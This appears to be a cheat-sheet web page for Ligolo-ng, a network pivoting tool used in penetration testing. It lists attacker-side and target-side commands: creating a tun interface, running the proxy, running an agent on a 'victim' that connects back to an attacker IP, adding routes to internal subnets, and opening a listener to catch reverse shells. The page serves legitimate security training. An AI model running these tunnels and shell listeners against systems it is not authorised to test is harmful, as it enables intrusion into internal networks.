Ligolo-ng

Ligolo-ng creates a network interface on your machine and routes traffic to the internal network through it. nmap (including UDP and ping), your browser and any tool work as they are, unlike with a SOCKS proxy.

Platform: Linux · Windows · macOS (Go)
Official site: github.com/nicocha30/ligolo-ng

Install

# Descarga proxy (tu máquina) y agent (víctima) de https://github.com/nicocha30/ligolo-ng/releases

Ligolo-ng cheat sheet

Your values Saved in this browser and applied to every cheatsheet.

Your IP (attacker)

8 commands

Recent versions (0.6 or later)

Create the interface and route from the proxy console Attacker

interface_create --name ligolo
route_add --name ligolo --route 172.16.1.0/24
tunnel_start --tun ligolo

Reach the victim's local ports (127.0.0.1) Attacker

sudo ip route add 240.0.0.1/32 dev ligolo

The special IP 240.0.0.1 points to the agent's localhost.

Catch a reverse shell from the internal network Attacker

listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

In our cheatsheets

Port forwarding and pivoting › ligolo-ng

Create the interface on your machine Attacker

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Proxy on your machine Attacker

./proxy -selfcert

Agent on the target Target

./agent -connect 10.10.14.5:11601 -ignore-cert

In the ligolo console (pick the session and start) Attacker

session
start

Route to the internal network Attacker

sudo ip route add 172.16.1.0/24 dev ligolo

Replace 172.16.1.0/24 with the internal network; the subnet calculator helps you work it out.

Guides that use Ligolo-ng

Port forwarding and pivoting: SSH, chisel and socat 3 min read How to reach a service that only listens on 127.0.0.1 or sits on another internal network: local, remote and dynamic SSH tunnels, chisel when there is no SSH, socat and proxychains.